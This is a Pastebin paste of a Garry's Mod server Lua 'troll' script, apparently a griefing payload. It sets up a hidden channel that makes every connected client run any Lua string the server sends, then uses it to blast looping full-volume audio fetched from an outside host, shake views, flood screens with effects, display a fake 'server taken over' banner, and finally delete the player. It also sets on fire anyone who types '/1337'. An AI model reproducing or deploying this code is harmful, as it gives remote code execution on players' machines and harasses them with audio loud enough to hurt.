API tools faq
paste
2much4Us

Untitled

2much4Us
Sep 3rd, 2018
160
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.42 KB | None | 0 0
raw download clone embed print report
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38. net.Start( "skeleton_dancing_troll" )
  39. net.WriteString( strLua )
  40. net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48. lol:SetupPlayer( v )
  49. timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53. lol:SetupPlayer( pPlayer )
  54. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58. if strText:sub( 1, 5 ) == "/1337" then
  59. pSender:Ignite( 1e9 )
  60. pSender:ChatPrint( "Nop" )
  61. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62. return false
  63. end
  64. end )
  65.  
  66. --Disco time
  67. lol:PushAction( 0, function( pPlayer )
  68. local idx = pPlayer:EntIndex()
  69. timer.Create( "beat".. idx, 0.42, 0, function()
  70. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  71. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  72. end )
  73.  
  74. local sounds = {}
  75. for i = 1, 4 do
  76. sound.PlayURL( "https://httpsinfamousvoice1com.000webhostapp.com/ear_rape.mp3", "noblock noplay", function( pChan )
  77. sounds[#sounds +1] = pChan
  78. end )
  79. end
  80.  
  81. timer.Create( "asdf", 1, 0, function()
  82. if #sounds ~= 4 then return end
  83. timer.Destroy( "asdf" )
  84. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  85. end )
  86.  
  87. lol:SendLua( pPlayer, [[
  88. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  89. local time = 0
  90.  
  91. hook.Add( "Think", "wat", function()
  92. if CurTime() < time then
  93. return
  94. end
  95.  
  96. time = CurTime() +0.05
  97. for i = 1, 16 do
  98. local part = emitter:Add(
  99. "particles/balloon_bit",
  100. LocalPlayer():GetPos() +Vector(
  101. math.random( -256, 256 ),
  102. math.random( -256, 256 ),
  103. 256
  104. )
  105. )
  106.  
  107. if part then
  108. local Size = math.random( 4, 7 )
  109.  
  110. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  111. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  112. part:SetDieTime( 4.5 )
  113. part:SetGravity( Vector(40, 0, -250) )
  114. part:SetLifeTime( 0 )
  115. part:SetStartSize( Size /2 )
  116. part:SetEndSize( Size )
  117. part:SetCollide( true )
  118. end
  119. end
  120. end )
  121. ]] )
  122.  
  123. lol:SendLua( pPlayer, [[
  124. hook.Add( "RenderScreenspaceEffects", "wat", function()
  125. local sinScaler = math.sin( CurTime() )
  126. DrawBloom(
  127. 0,
  128. 3,
  129. sinScaler *math.Rand(1, 8),
  130. sinScaler *math.Rand(1, 8),
  131. 6,
  132. math.Rand(0.5, 2),
  133. math.Rand(0, 0.3),
  134. math.Rand(0, 0.3),
  135. math.Rand(0.5, 1)
  136. )
  137.  
  138. DrawColorModify{
  139. ["$pp_colour_addr"] = 1,
  140. ["$pp_colour_addg"] = 0,
  141. ["$pp_colour_addb"] = 00,
  142. ["$pp_colour_brightness" ] = 0,
  143. ["$pp_colour_contrast" ] = 1,
  144. ["$pp_colour_colour" ] = 1,
  145. ["$pp_colour_mulr" ] = 0,
  146. ["$pp_colour_mulg" ] = 0,
  147. ["$pp_colour_mulb" ] = 0
  148. }
  149. end )
  150.  
  151. local mdl = ClientsideModel( "models/player/zombie_classic.mdl", RENDERGROUP_BOTH )
  152. mdl:SetNoDraw( true )
  153. local posCache, time = {}, 0
  154.  
  155. hook.Add( "HUDPaint", "dance", function()
  156. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  157. local idx = mdl:LookupSequence("taunt_dance")
  158. mdl.SeqDuration = mdl:SequenceDuration( idx )
  159. mdl.SeqStart = CurTime()
  160. mdl:ResetSequence( idx )
  161. end
  162.  
  163. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  164.  
  165.  
  166. local w, h = 300, 300
  167. local ang = Angle( 0, 0, 0 )
  168.  
  169. for i = 1, 32 do
  170. if CurTime() > time then
  171. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  172. end
  173. local x, y = posCache[i][1], posCache[i][2]
  174.  
  175. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  176. cam.IgnoreZ( true )
  177. render.SuppressEngineLighting( true )
  178.  
  179. render.SetLightingOrigin( mdl:GetPos() )
  180. render.ResetModelLighting( 1, 1, 1 )
  181. render.SetColorModulation( 0, 0, 1 )
  182.  
  183. mdl:DrawModel()
  184.  
  185. render.SuppressEngineLighting( false )
  186. cam.IgnoreZ( false )
  187. cam.End3D()
  188. end
  189.  
  190. if CurTime() > time then
  191. time = CurTime() +0.15
  192. end
  193. end )
  194.  
  195. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  196. ]] )
  197. end )
  198.  
  199.  
  200. --EVIL TIME rip headpones
  201. lol:PushAction( 15.5, function( pPlayer )
  202. lol:SendLua( pPlayer, [[
  203.  
  204. local disco = vgui.Create("DHTML") disco:SetSize(400,400) disco:SetPos(200,0) disco:OpenURL("http://zimb.club/zimb/disco2.gif")
  205. local disco2 = vgui.Create("DHTML") disco2:SetSize(400,400) disco2:SetPos(ScrW()-550,0) disco2:OpenURL("http://zimb.club/zimb/disco2.gif")
  206. surface.CreateFont( "NEWS1", {font = "Arial",size = 70,weight = 2000,})
  207. surface.CreateFont( "NEWS2", {font = "Arial",size = 150,weight = 2000,})
  208. local newsPan1 = vgui.Create("DPanel")
  209. newsPan1:SetSize(ScrW(), 150)
  210. newsPan1:SetPos(0, ScrH()-150)
  211. newsPan1.Paint = function()
  212. surface.SetDrawColor(255,255,255,255)
  213. surface.DrawRect(0,0,newsPan1:GetWide(),newsPan1:GetTall())
  214. surface.SetDrawColor(190,10,10,255)
  215. surface.DrawRect(0,4,newsPan1:GetWide(),newsPan1:GetTall())
  216. end
  217. local newsPan2 = vgui.Create("DPanel")
  218. newsPan2:SetSize(ScrW(),ScrH())
  219. newsPan2:SetPos(0,0)
  220. newsPan2.Paint = function()
  221. local trap3 = {
  222. {x = ScrW()-504, y = ScrH()-150},
  223. {x = ScrW()-439, y = ScrH()-254},
  224. {x = ScrW(), y = ScrH()-254},
  225. {x = ScrW(), y = ScrH()-150},
  226. }
  227. local trap4 = {
  228. {x = ScrW()-500, y = ScrH()-146},
  229. {x = ScrW()-435, y = ScrH()-250},
  230. {x = ScrW(), y = ScrH()-250},
  231. {x = ScrW(), y = ScrH()-146},
  232. }
  233. local trap5 = {
  234. {x = ScrW()-475, y = ScrH()-156},
  235. {x = ScrW()-432, y = ScrH()-235},
  236. {x = ScrW()-8, y = ScrH()-235},
  237. {x = ScrW()-8, y = ScrH()-156},
  238. }
  239. draw.NoTexture()
  240. surface.SetDrawColor(255,255,255,255)
  241. surface.DrawPoly(trap3)
  242. draw.NoTexture()
  243. surface.SetDrawColor(200,20,20,255)
  244. surface.DrawPoly(trap4)
  245. draw.NoTexture()
  246. surface.SetDrawColor(190,10,10,180)
  247. surface.DrawPoly(trap5)
  248. end
  249. local title2 = vgui.Create("DLabel", newsPan2)
  250. title2:SetFont("NEWS1")
  251. title2:SetText("Gmod News")
  252. title2:SizeToContents()
  253. title2:SetPos(ScrW()-title2:GetWide()-55, ScrH()-254+title2:GetTall()/2-12)
  254. title2:SetColor(Color(255,255,255))
  255.  
  256. local title3 = vgui.Create("DLabel", newsPan1)
  257. title3:SetFont("NEWS2")
  258. title3:SetText("Breaking news This Server Has Been taken over by 4yr olds we advise you barricade your homes and hide")
  259. title3:SizeToContents()
  260. title3:SetPos(ScrW(), 10)
  261. title3:SetColor(Color(255,255,255))
  262. timer.Create("movingtext2",.05,0,function()
  263. if title3:GetPos() >= 0-title3:GetWide() then
  264. title3:SetPos(Lerp(.5,title3:GetPos(),title3:GetPos()-10),10)
  265. else
  266. title3:SetPos(ScrW(),10)
  267. end
  268. end)
  269.  
  270. surface.CreateFont( "SPAM", {font = "Arial",size = 55,weight = 2000,})
  271. local disco = vgui.Create("DHTML") disco:SetSize(400,400) disco:SetPos(200,0) disco:OpenURL("https://i.imgur.com/L8rL5dV.gif")
  272. local disco2 = vgui.Create("DHTML") disco2:SetSize(400,400) disco2:SetPos(ScrW()-550,0) disco2:OpenURL("https://i.imgur.com/L8rL5dV.gif")
  273. hook.Add( "HUDPaint", "Lines", function()
  274. local center = Vector(ScrW()/2, ScrH()/2, 0)
  275. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 5 * 100 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  276. for i = 1,32 do surface.DrawLine(center.x,center.y, math.random(0,ScrW()), math.random(0,ScrH())) end
  277. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 3 * 500 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  278. for i = 1,32 do surface.DrawLine(1,1, math.random(0,ScrW()), math.random(0,ScrH())) end
  279. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 7 * 150 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  280. for i = 1,32 do surface.DrawLine(1,1, math.random(0,ScrW()), math.random(0,ScrH())) end
  281. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 15 * 125 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  282. for i = 1,32 do surface.DrawLine(ScrW(),1, math.random(0,ScrW()), math.random(0,ScrH())) end
  283. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 25 * 100 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  284. for i = 1,32 do surface.DrawLine(1,ScrH(), math.random(0,ScrW()), math.random(0,ScrH())) end
  285. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 40 * 100 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  286. for i = 1,32 do surface.DrawLine(ScrW(),ScrH(), math.random(0,ScrW()), math.random(0,ScrH())) end
  287. local col = 100 for i=0, col, 1 do rainbow = HSVToColor(CurTime() % 5 * 150 + i,1,1) end
  288. local col = 100 for i=0, col, 1 do r = HSVToColor(CurTime() % 30 * 150 + i,1,1) end
  289. for i = 1,32 do draw.SimpleTextOutlined("MEMES!! MEMES!!","SPAM",math.random(0,ScrW()-35), math.random(0,ScrH()-1),Color(rainbow.r,rainbow.g,rainbow.b),TEXT_ALIGN_CENTER,TEXT_ALIGN_TOP,3,Color(math.random(1,255),math.random(1,255),math.random(1,255))) end
  290. end)
  291.  
  292. ]] )
  293.  
  294. pPlayer:Remove()
  295. end )
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!